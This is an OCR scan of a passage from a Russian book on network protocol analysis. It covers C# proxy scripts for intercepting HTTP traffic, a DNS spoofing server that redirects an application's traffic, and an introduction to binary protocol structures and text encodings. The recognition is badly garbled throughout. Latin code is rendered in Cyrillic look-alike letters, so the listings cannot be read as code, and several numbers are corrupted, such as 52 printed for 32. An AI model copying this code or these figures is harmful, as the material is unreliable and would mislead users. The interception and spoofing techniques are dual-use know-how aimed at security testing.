
1] НЕЕрРгоху.сѕх - простой прокси-сервер НТТР 

1] Предоставляем доступ к таким методам, как Игіёеііпе и МгіёеРаскеёѕ 
иѕіпд Сас 5уѕїет. Сопѕо1е; 

иѕіпд ѕёаёіс САМАРЕ. СЇ. Сопѕо1еу+і15; 


// Создаем шаблон прокси-сервера 
уаг Ёетр1аёе = пем НіЁрРгохуТетр1а+е(); 
етр1аёе.оса1Рогі = ӨГОСАГРОВТ; 


// Создаем экземпляр прокси и выполняем запуск 
уаг зег\у1се = Ёетр1аїе.Сгеаїе(); 
ѕегуісе.ЅЁагї(); 


Мгібеііпе("Сгеаёеа {0}", ѕегуісе); 
Мгіёеііпе("Ргеѕѕ Епёег фо ехі+..."); 
Веааііпе(); 

ѕегуісе.5#ор(); 


[/ Запись пакетов в консоль 

үаг раскеЁѕ = ѕегуісе.РаскеЁѕ; 

Мгібеііпе("Сарёогеа {0} раскеёѕ:", раскеїѕ.Соџпё); 
МгіёеРаскеїѕ(раскеѕ); 


Здесь мы создали прокси-сервер НТТР. Код в строке Ө, как и преж- 
де, немного отличается от предыдущих примеров, потому что здесь 
мы создаем шаблон прокси-сервера НТТР. 


Перенаправление трафика на прокси 


Как и в случае с прокси-серверами $0СКЅ, первым пунктом назна- 
чения будет приложение. Редко, когда приложение, использующее 
протокол НТТР, не имеет конфигурации прокси. Если у приложения 
нет специальных настроек для поддержки прокси-сервера НТТР, по- 
пробуйте конфигурацию ОС, которая находится в том же месте, что 
и конфигурация прокси-сервера $ОСК$. Например, в Міпаоуѕ можно 
получить доступ к настройкам прокси-сервера системы, выбрав Соп- 
їго] Рапе! > Іпїегпеї ОрНоп$ > Соппесіїопѕ > ГАМ $е 12$ (Панель 
управления > Параметры интернета > Соединения - Настройки 
ГАМ). 

Многие утилиты командной строки в Опіх-подобных системах, 
такие как суг\1, иде и арї, также поддерживают настройку прокси- 
сервера НТТР с помощью переменных окружения. Если задать для 
переменной окружения Вр_ргоху ОКІ-адрес, который будет исполь- 
зовать прокси-сервер НТТР, например ЙНр://оса!о$1:5128, то при- 
ложение будет использовать его. Чтобы обезопасить трафик, также 
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можно использовать переменную йћірѕ ргоху. Некоторые реализации 
позволяют применять специальные схемы ОВГ-адресов, например 
50сК54://, чтобы указать, что вы хотите использовать прокси-сервер 
ОСК. 


Преимущества прокси-сервера НТТР с переадресацией 


Основное преимущество НТТР-прокси с переадресацией заключает- 
ся в том, что если приложение использует исключительно протокол 
НТТР, все, что нужно сделать, чтобы добавить поддержку прокси, - из- 
менить абсолютный путь в строке запроса на абсолютный ОВГ и от- 
править данные на слушающий прокси-сервер. Кроме того, только 
несколько приложений, которые используют протокол НТТР для пе- 
редачи, не поддерживают проксирование. 


Недостатки прокси-сервера НТТР с переадресацией 


Требование прокси-сервера НТТР с переадресацией для реализации 
полного НТТР-парсера для обработки множества особенностей про- 
токола значительно усложняет работу; эта сложность может вызвать 
проблемы с обработкой или, в худшем случае, уязвимости в системе 
безопасности. Кроме того, добавление прокси-сервера в протокол 
означает, что вам будет сложнее модифицировать поддержку прок- 
си-сервера НТТР для существующего приложения с помощью внеш- 
них методов, если вы не преобразуете соединения для использования 
метода СОММЕСТ (что работает даже для протокола НТТР без шифро- 
вания). 

Из-за сложности обработки полного НТТР-соединения версии 1.1 
прокси обычно либо отключают клиентов после одного запроса, либо 
переводят обмен данными на версию 1.0 (что всегда закрывает ответ- 
ное соединение после получения всех данных). Это может нарушить 
протокол более высокого уровня, который предполагает использо- 
вать версию 1.1 или конвейерную обработку запросов, т. е. возмож- 
ность иметь несколько запросов для улучшения производительности 
или локальности состояния на лету. 


Обратный прокси-сервер НТТР 


Прокси-серверы с переадресацией довольно распространены 
в окружениях, где внутренний клиент подключается к внешней сети. 
Они действуют как граница безопасности, ограничивая исходящий 
трафик небольшим подмножеством типов протоколов. (Давайте на 
данный момент просто игнорировать потенциальные последствия 
для безопасности прокси-сервера СОММЕСТ.) Но иногда вам может 
понадобиться проксировать входящие соединения, возможно, для 
балансировки нагрузки или по соображениям безопасности (чтобы 
предотвратить прямой доступ к вашим серверам). Однако если вы 
это сделаете, то возникнет проблема. У вас нет контроля над клиен- 
том. Фактически клиент, вероятно, даже не осознает, что подключа- 
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ется к прокси-серверу. Здесь на помощь приходит обратный прок- 
си-сервер НТТР. 

Вместо того чтобы требовать указания адреса назначения в стро- 
ке запроса, как в случае с прокси-сервером с переадресацией, можно 
злоупотребить тем фактом, что все клиенты, совместимые с НТТР 1.1, 
должны отправлять НТТР-заголовок Ноѕї в запросе, который указы- 
вает исходное имя хоста, используемое в ОВ! запроса. (Обратите вни- 
мание, что в НТТР версии 1.0 такого требования нет, но большинство 
клиентов, использующих эту версию, будут в любом случае отправ- 
лять заголовок.) Используя информацию заголовка Ноѕї, можно сде- 
лать вывод о первоначальном пункте назначения запроса, установив 
прокси-соединение с этим сервером, как показано в листинге 2.9. 


Листинг 2.9. Пример НТТР-запроса 


СЕТ /ітаде. јр9 НТТР/1.1 

Џѕег-Адепё: Ѕирег Еипку НТТР С1іепё \1.0 
Но${: @ими. дотаіп. сом 

Ассер{: */* 


В листинге 2.9 показан типичный заголовок Ноѕї Ө, в котором за- 
прашивается ОКІ-адрес ИНру/мим/аотат.сот/таде.]рд. Обратный 
прокси-сервер может легко взять эту информацию и повторно ис- 
пользовать ее для создания исходного адреса назначения. Опять же, 
поскольку существует требование к синтаксическому анализу заго- 
ловков НТТР, его сложнее использовать для НТТРЅ-трафика, защи- 
щенного ТТ$. К счастью, большинство реализаций ТТ$ принимают 
сертификаты с подстановочными знаками, где субъект имеет вид 
* дотат.сот или что-то наподобие этого, что соответствует любому 
поддомену дотат.сот. 


Простая реализация 


Неудивительно, что библиотеки Сапаре Соге включают встроенную 
реализацию обратного прокси-сервера НТТР, доступ к которой мож- 
но получить, изменив объект шаблона с НіѓрРгохуТетріаѓе на НирВе- 
уегѕеРгохуТетріаѓе. Но для полноты картины в листинге 2.10 показа- 
на простая реализация. Поместите следующий код в файл сценария 
С#, изменив Г ОСАЕРОВТ Ө на локальный ТСР-порт, который вы хотите 
слушать. Если ІОСАГРОВТ меньше 1024 и вы используете его в Опіх- 
подобной системе, вам также потребуется запустить сценарий от 
имени привилегированного пользователя. 


Листинг 2.10. Простой пример обратного прокси-сервера НТТР 


1] ВемегзеН&рРгоху.сзх - простой обратный прокси-сервер НТТР 

[/ Предоставляем доступ к таким методам, как Игіёеііпе и МгіёеРаскеЁѕ 
иѕіпд ѕЁаёіс 5уѕїет. Сопѕо1е; 

45119 {ас САМАРЕ. Сі. Сопѕо1еу+і15; 
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// Создаем шаблон прокси-сервера 
уаг Ёетр1аёе = пем НЕЕрВеуегзеРгохуТетр\а{е(); 
етр1аёе.оса1Рогі = ®[0СДЕРОВТ; 


// Создаем экземпляр прокси и выполняем запуск 
уаг Ѕегуісе = ёетр1аїе.Сгеаёе(); 
ѕегуісе.ЅЁагї(); 


Мгібеііпе("Сгеаёеа {0}", ѕегуісе); 
Мгісеііпе("Ргеѕѕ Епфег їо ехіё..."); 
Веааііпе(); 

ѕегуісе.5#ор(); 


[/ Запись пакетов в консоль 

уаг расКе{$ = ѕегуісе.РаскеЁѕ; 

Мгісеііпе("Сарёџгеа {0} раскеёѕ:", 
раскеёѕ. Сошпё); 

МгіеРаскеѕ (раскеЁѕ); 


Перенаправление трафика на ваш прокси 


Подход к перенаправлению трафика на обратный прокси-сервер 
НТТР аналогичен подходу, используемому для переадресации ТСР- 
портов, который заключается в перенаправлении подключения 
к прокси-серверу. Но есть большая разница: нельзя просто изменить 
имя узла назначения. Так вы измените заголовок Ноѕї, показанный 
в листинге 2.10. Если вы не будете соблюдать осторожность, то это 
может привести к появлению прокси-цикла!. Вместо этого лучше из- 
менить [Р-адрес, связанный с именем хоста, с помощью файла Ло5іѕ. 

Но возможно, что приложение, которое вы тестируете, работает на 
устройстве, которое не позволяет изменять файл 1055. Поэтому на- 
стройка собственного О№ 5-сервера может быть самым простым под- 
ходом - в предположении, что вы можете изменить конфигурацию 
О№-сервера. 

Можно использовать другой подход, который заключается в кон- 
фигурировании полноценного О№-сервера с соответствующими 
настройками. Это может занять много времени и привести к ошиб- 
кам; просто спросите любого, кто когда-либо настраивал сервер ВІМР. 
К счастью, существующие инструменты позволяют делать то, что мы 
хотим, а именно возвращать [Р-адрес нашего прокси-сервера в ответ 
на О№ -запрос. Такой инструмент называется @и55роо{. Чтобы избе- 
жать установки другого инструмента, это можно сделать с помощью 
О№-сервера Сапаре. Базовый О№$-сервер подменяет только один ІР- 
адрес для всех О№5-запросов (листинг 2.11). 

Замените ТР\/4АООВЕ$$ Ө, ТР\/бАБОВЕЗ$5 Ө и КЕМЕВКЅЕЮ№Ѕ Ө соответст- 
вующими строками. Как и в случае с обратным прокси-сервером 


' Прокси-цикл возникает, когда прокси-сервер неоднократно подключается 
к самому себе. Это может закончиться катастрофой или, по крайней мере, 
привести к исчерпанию доступных ресурсов. 
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Оизегуег.с$х 


НТТР, вам нужно будет запустить его от лица привилегированного 
пользователя в Опіх-подобной системе, поскольку он будет пытаться 
выполнить привязку к порту 53, что, как правило, запрещено обыч- 
ным пользователям. В Міпӣоуѕ такого ограничения на привязку 
к портам ниже 1024 нет. 


Листинг 2.11. Простой О№-сервер 


// ОпѕЅегуег.сѕх - простой 0№-сервер 

[/ Предоставляем доступ к таким консольным методам, как Игіёеііпе, 
[/ на глобальном уровне. 

иѕіпд бас буз{ем.Сопзо1е; 


// Создаем шаблон 0№5-сервера 
уаг фетрТафе = пем ОпѕЅегуегТетр1аїе(); 


[/ Настраиваем адреса ответов 
{етр1а{е.Везропзед4гез$ = ®"ТР\/4АООВЕЗ5"; 
{етр1а{е.Везропзед4ге6 = @®"ТР\УбАООВЕЗ5"; 
Хетр1аёе.Аеуегѕерпѕ = Ө "АЕМЕВЅЕОМЅ"; 


// Создаем экземпляр 0№5 -сервера и выполняем запуск 
уаг ѕегуісе = Ёетр1аќе.Сгеаїе(); 

ѕегуісе.ЅЁагї(); 

Игібеііпе("Сгеаёеа {0}", ѕегуісе); 

Мгіёеііпе("Ргеѕѕ Епёег фо ехі+..."); 

Веааііпе(); 

ѕегуісе.5#ор(); 


Теперь если вы настроите р №Ѕ-сервер для своего приложения для 
указания на О №-сервер, используемый для спуфинга, то приложение 
должно отправлять свой трафик через него. 


Преимущество обратного прокси-сервера НТТР 


Преимущество обратного прокси-сервера НТТР заключается в том, 
что ему не требуется клиентское приложение для поддержки типич- 
ной конфигурации прокси-сервера с переадресацией. Это особенно 
полезно, когда клиентское приложение не находится под вашим пря- 
мым контролем или имеет фиксированную конфигурацию, которую 
нелегко изменить. Пока вы можете принудительно перенаправлять 
исходные ТСР-соединения на прокси-сервер, можно без труда обра- 
батывать запросы к разным хостам. 


Недостатки обратного прокси-сервера НТТР 


Недостатки обратного прокси-сервера НТТР в основном те же, что 
и у прокси-сервера с переадресацией. Прокси-сервер должен иметь 
возможность парсить НТТР-запрос и обрабатывать особенности. 
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Заключительное слово 


В этой главе вы прочитали о пассивных и активных методах пере- 
хвата, но можно ли утверждать, что один из них лучше другого? Все 
зависит от приложения, которое вы пытаетесь протестировать. Если 
только вы не отслеживаете сетевой трафик, то стоит использовать 
активный перехват. Продолжая читать эту книгу, вы поймете, что 
активный перехват имеет значительные преимущества для анализа 
трафика и эксплуатации уязвимостей. Если у вас есть выбор, исполь- 
зуйте ЅЗОСКЅ, потому что во многих обстоятельствах это самый прос- 
той подход. 


СТРУКТУРА СЕТЕВЫХ 
ПРОТОКОЛОВ 


тарая пословица «Ничто не ново под луной» верна, когда дело 

касается структуры протоколов. Двоичные и текстовые протоко- 

лы следуют распространенным шаблонам и структурам, и когда 
вы их освоите, то легко сможете применить их клюбому новому про- 
токолу. В данной главе подробно описаны некоторые из этих структур 
и формализован способ их представления на протяжении оставшейся 
части книги. 

В этой главе мы обсудим многие распространенные типы структу- 
ры протоколов. Каждый из них подробно описан наряду со способом 
их представления в двоичных или текстовых протоколах. К концу 
главы вы сможете легко идентифицировать эти типы в любом неиз- 
вестном протоколе, который вы анализируете. Как только вы поймете, 
как устроены протоколы, вы также познакомитесь с шаблонами по- 
ведения – способами атаки самой сети на уровне протокола. Глава 10 
предоставит более подробную информацию о поиске проблем, связан- 
ных с сетевыми протоколами, а пока мы просто займемся структурой. 
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Структура двоичных протоколов 


Двоичные протоколы работают на бинарном уровне; самая малень- 
кая единица данных - это одиночный двоичный символ. Работать 
с одиночными битами сложно, поэтому мы будем использовать ок- 
теты, которые обычно называют байтами. Октет де-факто является 
единицей сетевых протоколов. Хотя их можно разбить на отдельные 
биты (например, для представления набора флагов), мы будем обра- 
батывать все сетевые данные в 8-битных единицах, как показано на 
рис. 3.1. 


Бит 7 / Бит0 / 
старший младший 
м НШ 
Битовый формат [010000 0(1= 0х41/65 


Рис. 3.1. Форматы описания 
Формат октета 0х41 двоичных данных 


При отображении отдельных битов я буду использовать битовый 
формат, в котором слева показан бит 7, старший бит (МВ). Бит 0, 
или младший бит (Г5В), находится справа. (Некоторые архитектуры, 
такие как РомегРС, определяют нумерацию битов в обратном направ- 
лении.) 


Числовые данные 


Значения данных, представляющие числа, обычно лежат в основе 
двоичного протокола. Эти значения могут быть десятичными или це- 
лыми числами. Числа могут использоваться для представления дли- 
ны данных, идентификации значений тегов или просто для обозна- 
чения числа. 

В двоичном формате числовые значения могут быть представлены 
несколькими способами, а метод выбора протокола зависит от значе- 
ния, которое он представляет. В следующих разделах описаны неко- 
торые наиболее распространенные форматы. 


Целые числа без знака 


Целые числа без знака - наиболее очевидное представление двоич- 
ного числа. Каждый бит имеет определенное значение в зависимости 
от расположения, и эти значения складываются вместе для представ- 
ления целого числа. В табл. 3.1 показаны десятичные и шестнадцате- 
ричные значения для 8-битного целого числа. 


Таблица 3.1. Значения десятичных битов 


Бит Десятичное значение Шестнадцатеричное значение 
0 1 0х01 
1. 2 0х02 
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Таблица 3.1 (окончание) 


Бит Десятичное значение Шестнадцатеричное значение 
2 4 0х04 
5 8 0х08 
4 16 0х10 
5 52 0х20 
6 64 0х40 
7 128 0х80 


Целые числа со знаком 


Не все целочисленные значения являются положительными. В неко- 
торых сценариях требуются отрицательные целые числа - например, 
для обозначения разницы между двумя целыми числами необходимо 
учитывать, что разница может быть отрицательной, - и только це- 
лые числа со знаком могут содержать отрицательные значения. Хотя 
кодирование целого числа без знака кажется очевидным, ЦП может 
работать только с одним итем же набором битов. Следовательно, про- 
цессору требуется способ интерпретировать значение целого числа 
без знака как числа со знаком; наиболее распространенная интерпре- 
тация - это дополнительный код. Термин дополнительный код отно- 
сится к способу представления целого числа со знаком в собственном 
целочисленном значении в ЦП. 

Преобразование между беззнаковыми и знаковыми значениями 
в дополнительном коде выполняется с помощью побитового опера- 
тора МОТ (где 0 бит преобразуется в 1, а 1 преобразуется в 0) целого 
числа и добавляется 1. Например, на рис. 3.2 показано 8-битовое це- 
лое число 123, преобразованное в его представление в дополнитель- 
ном двоичном коде. 


Старший Младший 
бит бит 


Оператор МОТ| 01111011 |= 0х7В/123 


+1| 01111011 |=0х84/-124 


опитот ] Рис. 3.2. Представление числа 123 
01111011 |= 085/-123 в дополнительном двоичном коде 


Данное представление имеет одно опасное последствие с точки 
зрения безопасности. Например, 8-битовое целое число со знаком 
имеет диапазон от –128 до 127, поэтому величина минимума больше 
максимума. Если минимальное значение отрицательное, то резуль- 
татом является само это значение; другими словами, - (128) равно 
—128. Это может вызвать неверные вычисления в проанализирован- 
ных форматах, что приведет к уязвимостям в системе безопасности. 
Подробнее об этом мы поговорим в главе 10. 
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Целые числа переменной длины 


Эффективная передача данных по сети всегда была очень важна. Хотя 
современные высокоскоростные сети могут избавить вас от проблем 
с эффективностью, уменьшение пропускной способности протокола 
все же имеет свои преимущества. Может быть полезно использовать 
целые числа переменной длины, когда наиболее распространенные 
представляемые целочисленные значения находятся в очень ограни- 
ченном диапазоне. 

Например, рассмотрим поля длины: при отправке блоков данных 
размером от 0 до 127 байт можно использовать 7-битное целочислен- 
ное представление переменной длины. На рис. 3.5 показано несколь- 
ко различных кодировок для 32-битных слов. Для представления все- 
го диапазона требуется не более пяти октетов. Но если ваш протокол 
имеет тенденцию присваивать значения от 0 до 127, он будет исполь- 
зовать только один октет, что сэкономит много места. 


Самый нижний адрес 


ОХЗҒ как 7-битное 
переменное целое число ОхЗЕ 


0х80 как 7-битное 
переменное целое число 0х80 | 0х01 


0х01020304 как 7-битное 


переменное целое число 0х84 | 0х86 | 0х88 | 0х08 


ОхХЕЕЕЕЕЕЕЕ как 7-битное 


переменное целое число ОхЕЕ | ОХЕЕ | ОХЕЕ | ОХЕЕ | ОхОЕ 


Рис. 3.3. Пример 7- битного целочисленного кодирования 


Тем не менее если вы осуществляете парсинг октетов, количество 
которых больше пяти (или даже 32 бита), целое число, получаемое 
в результате данной операции, будет зависеть от программы парсин- 
га. Некоторые программы (в том числе разработанные на С) просто 
отбрасывают все биты за пределами заданного диапазона, тогда как 
другие окружения разработки сгенерируют ошибку переполнения. 
При неправильной обработке это целочисленное переполнение мо- 
жет привести к уязвимостям, таким как переполнение буфера, что 
может дать выделение буфера памяти, который меньше, чем ожида- 
лось, что, в свою очередь, приведет к нарушению целостности памяти. 


Данные с плавающей точкой 


Иногда целых чисел недостаточно для представления диапазона де- 
сятичных значений, необходимых для протокола. Например, прото- 
кол многопользовательской компьютерной игры может потребовать 
отправки координат игроков или объектов в виртуальном мире игры. 
Если этот мир большой, то вы столкнетесь с ограниченным диапазо- 
ном 32- или даже 64-битного значения с фиксированной точкой. 
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Знаковый бит 


Наиболее часто используемый формат целых чисел с плавающей 
точкой - это формат ІЕЕЕ, указанный в стандарте ІЕЕЕ, описывающем 
формат представления чисел с плавающей точкой (ТЕЕЕ 754). Хотя 
данный стандарт определяет ряд различных двоичных и даже деся- 
тичных форматов для значений с плавающей точкой, вы, вероятно, 
столкнетесь только с двумя: двоичным представлением одинарной 
точности, которое представляет собой 52-битное значение, и 64-бит- 
ным значением двойной точности. Каждый формат определяет по- 
зицию и размер в битах мантиссы и экспоненты. Также указывает- 
ся знаковый бит, сообщающий, является значение положительным 
или отрицательным. На рис. 3.4 показана общая структура значения 
с плавающей точкой ТЕЕЕ, а в табл. 3.2 перечислены распространен- 
ные размеры экспоненты и мантиссы. 


Формат с плавающей точкой ІЕЕЕ 


| Экспонента Мантисса 


Старший бит 


Младший бит 


Рис. 3.4. Представление с плавающей точкой 


Таблица 3.2. Распространенные размеры и диапазоны с плавающей 
точкой 


Размер бита Биты экспоненты Биты мантиссы Диапазон значений 

50) 8 25 +/-35.402825х10°% 

64 11 52 +/-1.79769515486252х1030% 
Логические значения 


Поскольку логические значения очень важны для компьютеров, не- 
удивительно, что они отражены в протоколе. Каждый протокол опре- 
деляет, как представить, является логическое значение истинным 
или ложным, но есть некоторые общие соглашения. 

Основной способ представления логического значения - одноби- 
товое значение. 0 бит означает ложь, а 1 означает истину. Это, безу- 
словно, экономия места, но не обязательно самый простой способ 
взаимодействия с базовым приложением. Чаще всего для логического 
значения используется отдельный байт, потому что им гораздо про- 
ще манипулировать. Также для обозначения значения /а[5е нередко 
используется ноль и ненулевое значение, обозначающее ѓгие. 


Битовые флаги 


Битовые флаги - это один из способов представления определенных 
логических состояний в протоколе. Например, в ТСР набор бито- 
вых флагов используется для определения текущего состояния со- 
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единения. При установлении соединения клиент отправляет пакет 
с установленным флагом синхронизации ($5ҮМ№), чтобы указать, что 
соединения должны синхронизировать свои таймеры. Сервер может 
ответить АСК-флагом, чтобы указать, что получил запрос клиента, 
а также 5УМ-флаг для установки синхронизации с клиентом. Если бы 
это рукопожатие использовало одиночные перечисляемые значения, 
то это двойное состояние было бы невозможно без дискретного зна- 
чения ЗУМ/АСК. 


Двоичный порядок байтов 


Порядок байтов данных - очень важная часть правильной интер- 
претации двоичных протоколов. Он вступает в игру всякий раз, ког- 
да передается многооктетное значение, например 32-битное слово. 
Порядок байтов - это артефакт того, как компьютеры хранят данные 
в памяти. 

Поскольку октеты передаются по сети последовательно, можно от- 
править самый старший октет значения в качестве первой части пе- 
редачи, а также в обратном направлении - отправить первым млад- 
ший октет. Порядок отправки октетов определяет порядок байтов 
данных. Неспособность правильно обработать порядок байтов может 
привести к незаметным ошибкам при парсинге протоколов. 

Современные платформы используют два основных формата по- 
рядка байтов: прямой и обратный порядок байтов. Прямой порядок 
байтов хранит старший байт по наименьшему адресу, тогда как об- 
ратный порядок байтов хранит в этом месте младший байт. Нарис. 3.5 
показано, как 52-битное целое число 0х01020304 хранится в обоих ва- 
риантах. 


Самый Самый 
нижний адрес высокий адрес 


0х01020304 как 32-битное Слово | (хол | 0х0? | 0хоз | 0х04 
с прямым порядком байтов 


0х01020304 как 32-битное слово 0х04 | 0х03 


с обратным порядком байтов 0х02 


0х01 


Рис. 3.5. Представление слов с прямым и обратным порядками байтов 


Порядок байтов значения обычно называют или сетевым, или 
хостовым порядком. Поскольку Іпѓегпеі ВЕС неизменно используют 
прямой порядок байтов в качестве предпочтительного типа для всех 
сетевых протоколов, которые они указывают (только если вы не име- 
ете дело с устаревшими технологиями), такой порядок байтов назы- 
вается сетевым. Но на вашем компьютере могут использоваться оба 
варианта. Архитектуры процессоров, такие как х86, используют об- 
ратный порядок байтов; другие, такие как $РАКС, используют прямой 
порядок байтов. 
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Некоторые архитектуры процессоров, включая 5РАКС, 
АКМ и МІР, могут иметь встроенную логику, которая определяет по- 
рядок байтов во время выполнения, обычно путем переключения флага 
управления проиессором. При разработке сетевого программного обес- 
печения не стройте предположений относительно порядка байтов на 
платформе, на которой вы работаете. Сетевой АРІ, используемый для 
создания приложения, будет обычно содержать удобные функиии для 
преобразования этих порядков. Другие платформы, такие как РОР-11, 
используют смешанный порядок байтов, при котором 16-битные сло- 
ва меняются местами; однако вы вряд ли когда-нибудь встретите его 
в повседневной жизни, поэтому не стоит зацикливаться на этом. 


Текстовые и удобочитаемые данные 


Наряду с числовыми данными строки - это тип значения, с которым 
вы чаще всего будете сталкиваться, независимо от того, используют- 
ся ли они для передачи учетных данных аутентификации или пути 
к ресурсам. При проверке протокола, предназначенного для отправки 
только символов английского языка, текст, вероятно, будет закоди- 
рован с использованием АЅСП. Исходный стандарт АЗСП определил 
7-битный набор символов от 0 до 0х7Е, который включает большин- 
ство символов, необходимых для английского языка (рис. 3.6). 


Управляющий Печатаемый 
СИМВОЛ СИМВОЛ 
Нижние 4 бита 


4 5 6 9 А В С р Е Е 
оао т [= 
Ес5Е555555550535 


[47 


г 


Верхние 4 бита 


Рис. 3.6. 7-битная таблица А5СИ 
Стандарт АЅСП изначально был разработан для текстовых терми- 


налов (физических устройств с подвижной печатающей головкой). 
Управляющие символы использовались для отправки сообщений на 
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терминал, чтобы переместить печатающую головку или синхрони- 
зировать последовательную передачу данных между компьютером 
и терминалом. Набор символов АЗСП содержит символы двух типов: 
управляющие и печатаемые. Большинство управляющих символов яв- 
ляются пережитками этих устройств и практически не используются. 
Но некоторые по-прежнему предоставляют информацию на совре- 
менных компьютерах, например СК и ГЕ, которые используются для 
завершения строк текста. 

Печатаемые символы - это символы, которые можно увидеть. 
Этот набор состоит из множества знакомых буквенно-цифровых 
символов; однако они не принесут особой пользы, если вы хотите 
изобразить международные символы, которых тысячи. Невозможно 
представить даже часть возможных символов на всех языках мира 
в 7-битном числе. 

Для преодоления этого ограничения обычно используются три стра- 
тегии: кодовые страницы, многобайтовые наборы символов и Юни- 
код. Протокол потребует, чтобы вы использовали один из этих трех 
способов представления текста, или предложит вариант, который мо- 
жет выбрать приложение. 


Кодовые страницы 


Самый простой способ расширить набор символов АЗСП - признать, 
что если все ваши данные хранятся в октетах, то 128 неиспользуемых 
значений (от 128 до 255) можно перепрофилировать для хранения 
дополнительных символов. Хотя 256 значений недостаточно для хра- 
нения всех символов на всех доступных языках, есть много разных 
способов использовать неиспользуемый диапазон. То, какие симво- 
лы в какие значения отображаются, обычно кодируется в специфи- 
кациях, которые называют кодовыми страницами, или кодировками 
символов. 


Наборы многобайтовых символов 


В таких языках, как китайский, японский и корейский (совместно 
именуемые СЈК), нельзя просто приблизиться к представлению всего 
письменного языка спомощью 256 символов, даже если вы используе- 
те все доступное пространство. Решение состоит в том, чтобы при- 
менять наборы многобайтовых символов в сочетании с АЅСІ для ко- 
дирования этих языков. Распространенные кодировки - ЗЫЩ-]1$ для 
японского языка и СВ2312 - для упрощенного китайского. 

Наборы многобайтовых символов позволяют последовательно ис- 
пользовать два или более октетов для кодирования желаемого сим- 
вола, хотя вы редко увидите их в использовании. На самом деле если 
вы не работаете с СК, то, вероятно, вообще их не увидите. (Для крат- 
кости я не буду дальше обсуждать эти наборы символов; есть много 
онлайн-ресурсов, которые при необходимости помогут вам их рас- 
шифровать.) 
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Юникод 


Стандарт Юникод, предложенный в 1991 г., призван представлять все 
языки в едином наборе символов. Можно рассматривать Юникод как 
еще один набор многобайтовых символов. Но вместо того, чтобы сосре- 
доточиться на конкретном языке, как ЗЫ Ш-Л5 для японского, он пыта- 
ется закодировать все письменные языки, включая некоторые архаич- 
ные и искусственные языки, в единый универсальный набор символов. 

Юникод определяет две взаимосвязанные концепции: таблицу 
символов и кодировку символов. Таблицы символов включают в себя 
сопоставление числового значения и символа, а также многие другие 
правила и положения о том, как символы используются или комби- 
нируются. Кодировки символов определяют способ кодирования этих 
числовых значений в базовом файле или сетевом протоколе. Для ана- 
лиза гораздо важнее знать, как кодируются эти числовые значения. 

Каждому символу в Юникоде назначается кодовая точка, представ- 
ляющая уникальный символ. Кодовые точки обычно записываются 
в формате И + АВС”, где АВСО - шестнадцатеричное значение кодо- 
вой точки. С целью совместимости первые 128 кодовых точек соответ- 
ствуют тому, что указано в АЅСП, а вторые 128 кодовых точек взяты из 
[ЗОЛЕС 8859-1. Полученное значение кодируется с использованием 
определенной схемы, которую иногда называют универсальный набор 
символов (0С$), или формат преобразования Юникода (ОТЕ). (Между 
форматами ОС и ОТЕ существуют небольшие различия, но для иден- 
тификации и манипуляции эти различия не важны.) На рис. 3.7 пока- 
зан простой пример различных форматов Юникода. 


Кодовые точки: НеЦо = +0048 - +0065 - 0+006С - 0+006С - У+006Е 
ОСЅ-2/0ТЕ-16, обратный порядок байтов 


о зо 68 ва | ое | 


ОСЅ-2/0ТЕ-16, прямой порядок байтов 


ОСЅ-4/0ТЕ-32, обратный порядок байтов 


ОТЕ-8 


Рис. 3.7. Строка «Нео» в различных кодировках Юникода 


70 глава з 


Есть три распространенные кодировки Юникода: ОТЕ-16, ОТЕ-52 
и ОТЕ-8. 


0С8-2/0ТЕ-16 
ОС5-2/0ТЕ-16 – это собственный формат на современных плат- 
формах Місгоѕоќ Міпаомѕ, а также на виртуальных машинах Јауа 
и .МЕТ, когда на них выполняется код. Он кодирует кодовые точ- 
ки в последовательности 16-битных целых чисел и имеет вари- 
анты с прямым и обратным порядками байтов. 

0ОС8-4/0ТЕ-352 
ОС8-4/0ТЕ-32 - распространенный формат, используемый 
в приложениях ЏОпіх, потому что это формат расширенных сим- 
волов по умолчанию во многих компиляторах С/С++. Он кодиру- 
ет кодовые точки в последовательностях 32-битных целых чисел 
и имеет разные варианты порядка байтов. 

ОТЕ-8 
ОТЕ-8 - вероятно, самый распространенный формат в Опіх. 
Это также формат ввода и вывода по умолчанию для различ- 
ных платформ и технологий, таких как ХМГ. Вместо того чтобы 
иметь фиксированный целочисленный размер кодовых точек, 
он кодирует их с использованием простого значения перемен- 


ной длины. В табл. 3.3 показано, как кодовые точки кодируются 
в ОТЕ-8. 


Таблица 3.3. Правила кодирования для кодовых точек Юникода в ОТЕ-8 


Биты кодовой Первая кодовая Последняя кодовая Байт 1 Байт 2 Байт 3 Байт 4 
точки точка (О+) точка (О+) 

0-7 0000 007Е Оххххххх 

8-11 0080 07ЕЕ 110ххххх 10хххххх 

12-16 0800 АНЯ 1110хххх 10хххххх 10хххххх 

17-21 10000 ІҒЕРЕЕ 11110ххх 10хххххх 10хххххх 10хххххх 
22-26 200000 ЗЕЕЕБЕЕ 111110хх 10хххххх 10хххххх 10хххххх 
26-51 4000000 7ЕРЕЕРЕЕЕ 1111110х 10хххххх 10хххххх 10хххххх 


У ОТЕ-8 есть много преимуществ. Во-первых, его определение ко- 
дирования гарантирует, что набор символов АЗСП, кодовые точки 
от 0+0000 до 0+007Е, закодированы с использованием одиночных 
байтов. Такая схема делает этот формат не только совместимым 
с АЅСП, но и экономит пространство. Кроме того, ОТЕ-8 совместим 
с программами С/С++, которые полагаются на нуль-терминирован- 
ные строки. 

При всех своих преимуществах ОТЕ-8 имеет свою цену, потому 
что такие языки, как китайский и японский, занимают больше мес- 
та, чем в ОТЕ-16. На рис. 3.8 показана подобная невыгодная коди- 
ровка китайских иероглифов. Но обратите внимание, что ОТЕ-8 
в этом примере по-прежнему более экономичен, чем ОТЕ-32 для тех 
же символов. 
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Кодовые точки: #8 = = +5154 - 0+5850 


ОСЅ-2/0ТЕ-16, ОСЅ-2/0ТЕ-16, 
обратный порядок байтов прямой порядок байтов 


н ьа 


ОСЅ-4/0ТЕ-32, обратный порядок байтов 


з оо | ьо ва | в ва | 


ОТЕ-8 


ое [в ьо ъа во | вв 


Рис. 3.8. Строка «в -Р» в различных кодировках Юникода 


Неправильная или наивная кодировка символов мо- 
жет быть источником проблем безопасности, от обхода механизмов 
фильтрации (скажем, в запрошенном пути к ресурсам) до переполнения 
буфера. Мы рассмотрим некоторые уязвимости, связанные с кодиров- 
кой символов, в главе 10. 


Данные переменной длины в двоичном формате 


Если разработчик протокола заранее знает, какие данные должны 
передаваться, то может гарантировать, что все значения в протоколе 
имеют фиксированную длину. На самом деле такое бывает ДОВОЛЬНО 
редко, хотя даже простые учетные данные для аутентификации ВЫ- 
